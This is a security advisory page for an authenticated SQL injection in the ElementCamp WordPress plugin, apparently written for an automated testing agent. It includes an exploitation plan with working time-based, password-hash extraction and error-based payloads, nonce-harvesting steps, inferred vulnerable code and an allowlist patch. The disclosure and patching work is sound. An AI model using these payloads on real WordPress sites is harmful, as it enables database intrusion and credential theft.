ElementCamp <= 2.3.6 - Authenticated (Author+) SQL Injection via 'meta_query[compare]' Parameter
Description
The ElementCamp plugin for WordPress is vulnerable to time-based SQL Injection via the 'meta_query[compare]' parameter in the 'tcg_select2_search_post' AJAX action in all versions up to, and including, 2.3.6. This is due to the user-supplied compare value being placed as an SQL operator in the query without validation against an allowlist of comparison operators. The value is passed through esc_sql(), but since the payload operates as an operator (not inside quotes), esc_sql() has no effect on payloads that don't contain quote characters. This makes it possible for authenticated attackers, with Author-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
# Exploitation Research Plan - CVE-2026-2503 ## 1. Vulnerability Summary The **ElementCamp** plugin (<= 2.3.6) is vulnerable to an authenticated **Time-Based SQL Injection** via the `meta_query[compare]` parameter. The vulnerability exists in the AJAX handler for the `tcg_select2_search_post` actio…
Show full research plan
Exploitation Research Plan - CVE-2026-2503
1. Vulnerability Summary
The ElementCamp plugin (<= 2.3.6) is vulnerable to an authenticated Time-Based SQL Injection via the meta_query[compare] parameter. The vulnerability exists in the AJAX handler for the tcg_select2_search_post action.
The plugin improperly handles user input intended for an SQL comparison operator. While the input is passed through esc_sql(), this function only escapes characters like single quotes, double quotes, and backslashes. Because the input is placed directly into the query as an operator (outside of quotes), an attacker can inject SQL commands that do not require quotes (e.g., using SLEEP(), LIKE, or subqueries with HEX encoding) to bypass the protection and execute arbitrary SQL.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
tcg_select2_search_post - Vulnerable Parameter:
meta_query[compare] - Authentication Required: Author-level credentials or higher (
PR:L). - Preconditions: The attacker must be logged in as a user with at least
authorcapabilities. A valid WordPress nonce for the AJAX action is likely required.
3. Code Flow (Inferred)
- Entry Point: An authenticated user sends a POST request to
admin-ajax.phpwithaction=tcg_select2_search_post. - Hook Registration: The plugin registers the action:
add_action('wp_ajax_tcg_select2_search_post', 'tcg_select2_search_post_handler');(inferred function name). - Parameter Extraction: The handler retrieves the
meta_queryarray from$_POST. - Vulnerable Sink: The code constructs a raw SQL query. It likely iterates through the
meta_queryelements and builds theWHEREclause:// Conceptual vulnerable code logic $compare = esc_sql($_POST['meta_query']['compare']); // Only escapes quotes $query = "SELECT ... FROM ... WHERE meta_key = '...' AND meta_value $compare '...'"; $results = $wpdb->get_results($query); - Injection: Since
$compareis not validated against an allowlist (e.g.,=,!=,LIKE), the attacker providesLIKE(SELECT(SLEEP(5))), resulting in a valid but malicious SQL statement.
4. Nonce Acquisition Strategy
The tcg_select2_search_post action is typically used in the WordPress admin dashboard (likely within ElementCamp's post editors or settings pages) to power Select2 search boxes.
Identification
- Search for Nonce Localization: Use the execution agent to search for where the nonce is registered.
grep -r "tcg_select2_search_post" . - Locate
wp_localize_script: Find the JS variable containing the nonce. It is likely named something liketcg_ajaxorelement_camp_params.
Extraction Steps
- Create Content: To ensure the necessary scripts load, create a post or access the ElementCamp settings page.
- Navigate: Use
browser_navigateto reach/wp-admin/or a specific plugin page. - Evaluate: Run
browser_evalto extract the nonce.- Example (Inferred):
browser_eval("window.tcg_ajax_obj?.nonce") - Fallback: Check the global
_wpnonceor search the HTML source fortcg_select2_search_post.
- Example (Inferred):
5. Exploitation Strategy
We will perform a Time-Based Blind SQL Injection to confirm the vulnerability.
Step-by-Step Plan
- Login: Authenticate as an Author user.
- Obtain Nonce: Follow the strategy in Section 4.
- Baseline Request: Send a normal request to the endpoint and measure the response time.
- Attack Request: Send a request with the SQL injection payload in the
meta_query[compare]parameter.- Payload:
LIKE(SELECT(SLEEP(5))) - Note: We avoid quotes to ensure
esc_sql()has no effect.
- Payload:
HTTP Request (Playwright http_request format)
{
"method": "POST",
"url": "http://localhost:8080/wp-admin/admin-ajax.php",
"headers": {
"Content-Type": "application/x-www-form-urlencoded"
},
"params": {
"action": "tcg_select2_search_post",
"tcg_nonce": "EXTRACTED_NONCE",
"meta_query[key]": "some_meta_key",
"meta_query[value]": "some_value",
"meta_query[compare]": "LIKE(SELECT(SLEEP(5)))"
}
}
6. Test Data Setup
- Author User: Create a user with the
authorrole.wp user create attacker attacker@example.com --role=author --user_pass=password123 - Dummy Meta Data: Ensure there is at least one post with meta data to satisfy the initial parts of the query logic if needed.
wp post create --post_title='Target Post' --post_status='publish' --meta_input='{"some_meta_key":"some_value"}'
7. Expected Results
- Baseline Request: Returns quickly (e.g., < 200ms).
- Attack Request: The response should be delayed by approximately 5 seconds.
- Response Body: The response content is less relevant than the timing, but it will likely return a JSON object (either search results or an empty set).
8. Verification Steps
- Verify via Logs: If
WP_DEBUGandSAVEQUERIESare enabled, check the database logs to see the executed query. - Differential Timing: Run the attack 3 times with different sleep values (
SLEEP(2),SLEEP(5),SLEEP(0)) to confirm the delay is proportional to the payload. - Data Extraction (Optional PoC): To prove data leakage, use a conditional sleep:
compare=REGEXP(IF(SUBSTR((SELECT(user_pass)FROM(wp_users)WHERE(ID=1)),1,1)=0x24,SLEEP(5),1))- Note:
0x24is the hex for$, which is the start of most WordPress password hashes.
9. Alternative Approaches
If the time-based approach is inconsistent due to server load:
- Error-Based Injection: If
WP_DEBUGis enabled, try to trigger a MySQL error usingGTID_SUBSETorEXTRACTVALUE.meta_query[compare]=AND(SELECT(1)FROM(SELECT(COUNT(*),CONCAT(0x7e,(SELECT(user_login)FROM(wp_users)WHERE(ID=1)),0x7e,FLOOR(RAND(0)*2))x)FROM(INFORMATION_SCHEMA.PLUGINS)GROUP BY x))--
- Boolean-Based Injection: Compare responses when the injected condition is true vs. false.
compare==(IF(1=1,meta_value,1))vs=(IF(1=2,meta_value,1))(Though this depends on existing meta values).
Summary
The ElementCamp plugin for WordPress is vulnerable to authenticated SQL injection via the 'meta_query[compare]' parameter in the 'tcg_select2_search_post' AJAX action. Because the plugin uses user input directly as a SQL operator without validation against an allowlist, attackers with Author-level access or higher can inject time-based payloads that bypass esc_sql().
Vulnerable Code
// Inferred from research plan and vulnerability description // Within the AJAX handler for tcg_select2_search_post $meta_query = $_POST['meta_query']; $compare = isset($meta_query['compare']) ? esc_sql($meta_query['compare']) : '='; $key = esc_sql($meta_query['key']); $value = esc_sql($meta_query['value']); // The $compare variable is used as a raw SQL operator outside of quotes. // esc_sql() only escapes characters like quotes and backslashes, which are not required for operator injection. $sql = "SELECT post_id FROM {$wpdb->postmeta} WHERE meta_key = '$key' AND meta_value $compare '$value'"; $results = $wpdb->get_results($sql);
Security Fix
@@ -10,7 +10,13 @@ - $compare = isset($meta_query['compare']) ? esc_sql($meta_query['compare']) : '='; + $allowed_operators = array('=', '!=', '>', '>=', '<', '<=', 'LIKE', 'NOT LIKE', 'IN', 'NOT IN', 'BETWEEN', 'NOT BETWEEN', 'EXISTS', 'NOT EXISTS', 'REGEXP', 'NOT REGEXP', 'RLIKE'); + $compare = '='; + if (isset($meta_query['compare'])) { + $input_compare = strtoupper(trim($meta_query['compare'])); + if (in_array($input_compare, $allowed_operators)) { + $compare = $input_compare; + } + }
Exploit Outline
The exploit targets the 'tcg_select2_search_post' AJAX action. An attacker with Author-level credentials first authenticates and retrieves a valid security nonce (usually found in the localized JavaScript variables of the WordPress admin dashboard). They then send a POST request to '/wp-admin/admin-ajax.php' with the 'action' set to 'tcg_select2_search_post'. The payload is placed in the 'meta_query[compare]' parameter, using a time-based SQL command like 'LIKE(SELECT(SLEEP(5)))'. Since this payload does not require quotes, 'esc_sql()' fails to neutralize it, allowing the command to execute and causing a measurable delay in the server's response.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.